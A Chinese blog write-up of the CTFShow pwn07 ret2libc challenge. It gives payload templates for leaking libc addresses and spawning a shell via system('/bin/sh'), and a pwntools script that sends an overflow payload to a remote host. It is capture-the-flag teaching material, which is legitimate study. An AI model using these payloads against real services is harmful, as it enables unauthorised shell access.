CTFShow pwn07 (ret2libc-64bit

用ROPgabdet
找到pop rdi地址和ret地址:
在这里插入图片描述


来自ctfshow pwn7
64位程序是需要栈平衡的,而且前六个寄存器用完了才会用栈传参
%rdi,%rsi,%rdx,%rcx,%r8,%r9 用作函数参数,依次对应第1参数,第2参数…
system函数和puts函数都只有一个参数
ret是用来栈平衡的

来自ctfshow-pwn新手系列:

判断libc版本32位: b"a"*offset + p32(xx@plt) + p32(ret_addr) + p32(xx@got)
getshell: b"a"*offset + p32(system_addr) + b"AAAA" + p32(str_bin_sh)
判断libc版本64位: b"a"*offset + p64(pop_rdi) + p64(xx@got) + p64(xx@plt) + p64(ret_addr)
getshell: b"a"*offset + p64(ret) + p64(pop_rdi) + p64(str_bin_sh)

注意要连上远端后测puts的地址,本地运行可能不一样的(我是笨蛋吗被这个困这么久
而且本地运行可能会出现
在这里插入图片描述据说可能和ASLR有关(没搞懂

还有接受put

### CTF PWN Ret2libc 攻击教程与实例 Ret2libc是一种利用栈溢出漏洞的技术,在这种技术下,攻击者通过覆盖返回地址来调用系统中的现有函数(通常是`system()`),从而执行任意命令。当面对静态链接的二进制文件时,由于其缺少GOT/PLT表,“xxx is statically linked, skipping GOT/PLT symbols”的提示表明无法从这些地方获取库函数地址[^1]。 对于动态链接的目标而言,可以通过操纵堆栈指针指向目标函数的实际位置实现ret2libc攻击;而对于静态编译的情况,则可以直接在`.text`段内寻找所需的函数入口点并加以利用。 下面是一个简单的Python脚本用于演示如何实施ret2libc攻击: ```python from pwn import * # 设置远程连接参数 host = 'example.com' port = 9999 # 连接到服务端 conn = remote(host, port) # 假设已知偏移量为offset=108字节,并且存在可以控制的数据位于该处之后 offset = 108 # 获取/bin/sh字符串的位置以及system()函数的真实地址 bin_sh_addr = 0xdeadbeef # 需要替换为实际地址 system_addr = 0xbadc0de # 同上 payload = b'A' * offset + pack(system_addr) + b'JUNK' + pack(bin_sh_addr) # 发送载荷给服务器 conn.sendline(payload) # 切换到交互模式以便观察后续操作结果 conn.interactive() ``` 此代码片段展示了发送精心构造的有效负载至易受攻击的服务的过程,其中包含了必要的填充字符、system()函数地址及其参数"/bin/sh"所在内存区域的指针值。需要注意的是上述示例中使用的具体数值应当依据实际情况调整。
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值